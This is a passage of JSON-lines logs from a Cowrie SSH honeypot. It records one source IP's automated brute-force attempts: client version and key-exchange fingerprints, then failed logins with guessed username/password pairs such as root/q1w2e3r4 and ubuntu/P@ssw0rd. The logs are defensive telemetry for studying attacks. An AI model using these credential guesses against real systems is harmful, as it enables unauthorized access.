@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:53.728969Z","src_ip":"192.109.200.237","session":"835a1c5172e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prakash","password":"prakash123","message":"login attempt [prakash/prakash123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:53.975288Z","src_ip":"192.109.200.237","session":"835a1c5172e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:55.060842Z","src_ip":"192.109.200.237","session":"835a1c5172e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46656,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c7d04882965","protocol":"ssh","message":"New connection: 192.109.200.237:46656 (159.203.135.109:22) [session: 3c7d04882965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:56.934953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:56.957117Z","src_ip":"192.109.200.237","session":"3c7d04882965","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:57.020926Z","src_ip":"192.109.200.237","session":"3c7d04882965","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amrita","password":"amrita","message":"login attempt [amrita/amrita] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:57.342885Z","src_ip":"192.109.200.237","session":"3c7d04882965","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:58.430384Z","src_ip":"192.109.200.237","session":"3c7d04882965","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59570,"dst_ip":"159.203.135.109","dst_port":22,"session":"aca906268cc0","protocol":"ssh","message":"New connection: 192.109.200.237:59570 (159.203.135.109:22) [session: aca906268cc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:00.143235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:00.148692Z","src_ip":"192.109.200.237","session":"aca906268cc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:00.235622Z","src_ip":"192.109.200.237","session":"aca906268cc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jasdeep","password":"jasdeep123","message":"login attempt [jasdeep/jasdeep123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:00.490948Z","src_ip":"192.109.200.237","session":"aca906268cc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:01.577922Z","src_ip":"192.109.200.237","session":"aca906268cc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59586,"dst_ip":"159.203.135.109","dst_port":22,"session":"083d835fb7bd","protocol":"ssh","message":"New connection: 192.109.200.237:59586 (159.203.135.109:22) [session: 083d835fb7bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:03.332591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:03.337074Z","src_ip":"192.109.200.237","session":"083d835fb7bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:03.419312Z","src_ip":"192.109.200.237","session":"083d835fb7bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:03.666245Z","src_ip":"192.109.200.237","session":"083d835fb7bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:04.751558Z","src_ip":"192.109.200.237","session":"083d835fb7bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59594,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1a13827ebe4","protocol":"ssh","message":"New connection: 192.109.200.237:59594 (159.203.135.109:22) [session: b1a13827ebe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:06.564271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:06.665197Z","src_ip":"192.109.200.237","session":"b1a13827ebe4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:06.677026Z","src_ip":"192.109.200.237","session":"b1a13827ebe4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:07.004151Z","src_ip":"192.109.200.237","session":"b1a13827ebe4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:08.090055Z","src_ip":"192.109.200.237","session":"b1a13827ebe4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59620,"dst_ip":"159.203.135.109","dst_port":22,"session":"fadb77860f8d","protocol":"ssh","message":"New connection: 192.109.200.237:59620 (159.203.135.109:22) [session: fadb77860f8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:09.914633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:09.919921Z","src_ip":"192.109.200.237","session":"fadb77860f8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:10.002920Z","src_ip":"192.109.200.237","session":"fadb77860f8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elsearch","password":"elsearch","message":"login attempt [elsearch/elsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:10.251179Z","src_ip":"192.109.200.237","session":"fadb77860f8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:11.337247Z","src_ip":"192.109.200.237","session":"fadb77860f8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43382,"dst_ip":"159.203.135.109","dst_port":22,"session":"937ef4f9ebc0","protocol":"ssh","message":"New connection: 192.109.200.237:43382 (159.203.135.109:22) [session: 937ef4f9ebc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:13.152986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:13.158124Z","src_ip":"192.109.200.237","session":"937ef4f9ebc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:13.244659Z","src_ip":"192.109.200.237","session":"937ef4f9ebc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kubernetes","password":"kubernetes","message":"login attempt [kubernetes/kubernetes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:13.491446Z","src_ip":"192.109.200.237","session":"937ef4f9ebc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:14.576087Z","src_ip":"192.109.200.237","session":"937ef4f9ebc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49688,"dst_ip":"10.17.0.5","dst_port":23,"session":"874aae70f348","protocol":"telnet","message":"New connection: 192.119.13.58:49688 (10.17.0.5:23) [session: 874aae70f348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:14.639022Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43404,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a773566e9ab","protocol":"ssh","message":"New connection: 192.109.200.237:43404 (159.203.135.109:22) [session: 1a773566e9ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:16.271825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:16.276543Z","src_ip":"192.109.200.237","session":"1a773566e9ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:16.358773Z","src_ip":"192.109.200.237","session":"1a773566e9ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"milad","password":"milad","message":"login attempt [milad/milad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:16.737610Z","src_ip":"192.109.200.237","session":"1a773566e9ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:17.823575Z","src_ip":"192.109.200.237","session":"1a773566e9ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43442,"dst_ip":"159.203.135.109","dst_port":22,"session":"35a342ba5247","protocol":"ssh","message":"New connection: 192.109.200.237:43442 (159.203.135.109:22) [session: 35a342ba5247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:19.592777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:19.602210Z","src_ip":"192.109.200.237","session":"35a342ba5247","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:19.684445Z","src_ip":"192.109.200.237","session":"35a342ba5247","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:19.931572Z","src_ip":"192.109.200.237","session":"35a342ba5247","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:21.016411Z","src_ip":"192.109.200.237","session":"35a342ba5247","protocol":"ssh"}
